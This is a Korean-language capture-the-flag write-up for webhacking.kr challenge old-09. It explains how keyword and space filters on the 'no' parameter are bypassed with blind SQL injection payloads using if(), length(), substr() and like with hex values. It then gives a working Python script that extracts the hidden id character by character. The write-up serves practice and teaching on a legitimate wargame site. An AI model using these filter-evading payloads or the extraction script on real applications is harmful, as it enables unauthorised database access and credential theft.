[ webhacking.kr ] old-09
포스트
취소

[ webhacking.kr ] old-09

1,2,3을 선택할 수 있고, 비밀번호를 입력할 수 있다.


1번을 누를 때는 Apple, 2번을 누를 때는 Banana가 나온다.


3번을 누르면 칼럼은 id,no로 구성되어 있고, no=3의 id가 비밀번호라고 적혀있다.


no에 공백 및 여러 문자열(union, select, char 등) 이 필터링 되어있다. 또한 no의 숫자가 3보다 크거나 쿼리가 false일 경우 아무것도 출력되지 않는다.

따라서 Blind SQL Injection을 시도할 수 있다.


id의 길이를 찾는 쿼리는 다음과 같이 작성할 수 있다.

no=if(length(id)like({ID 길이}),3,0)


id의 길이를 확인한 후 id를 찾는 쿼리는 다음과 같다.

no=if(substr(id,{인덱스},1)like({문자의 헥스값}),3,0)


이를 이용하여 파이썬 코드를 다음과 같이 작성할 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests

cookies = {'PHPSESSID': '44cpq3e3pvl1ie5dhlv1bq3f2b'}
keyword = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'

def findIdLength():
    for i in range(1,20):
        url = f'https://webhacking.kr/challenge/web-09/index.php?no=if(length(id)like({i}),3,99)'
        res = requests.get(url=url, cookies=cookies)
        if "Secret" in res.text:
            print(f'[*] ID Length: {i}')
            return i
        
def findIdFullname(id_len):
    id = ''
    for i in range(1,id_len+1):
        for j in keyword:
            url = f'https://webhacking.kr/challenge/web-09/index.php?no=if(substr(id,{i},1)like({hex(ord(j))}),3,99)'
            res = requests.get(url=url, cookies=cookies)
            if "Secret" in res.text:
                id += j
                print(f'[*] ID: {id}')
                break
        
if __name__ == '__main__':
    id_len = findIdLength()
    findIdFullname(id_len)


찾아낸 비밀번호를 입력하면 문제를 풀 수 있다.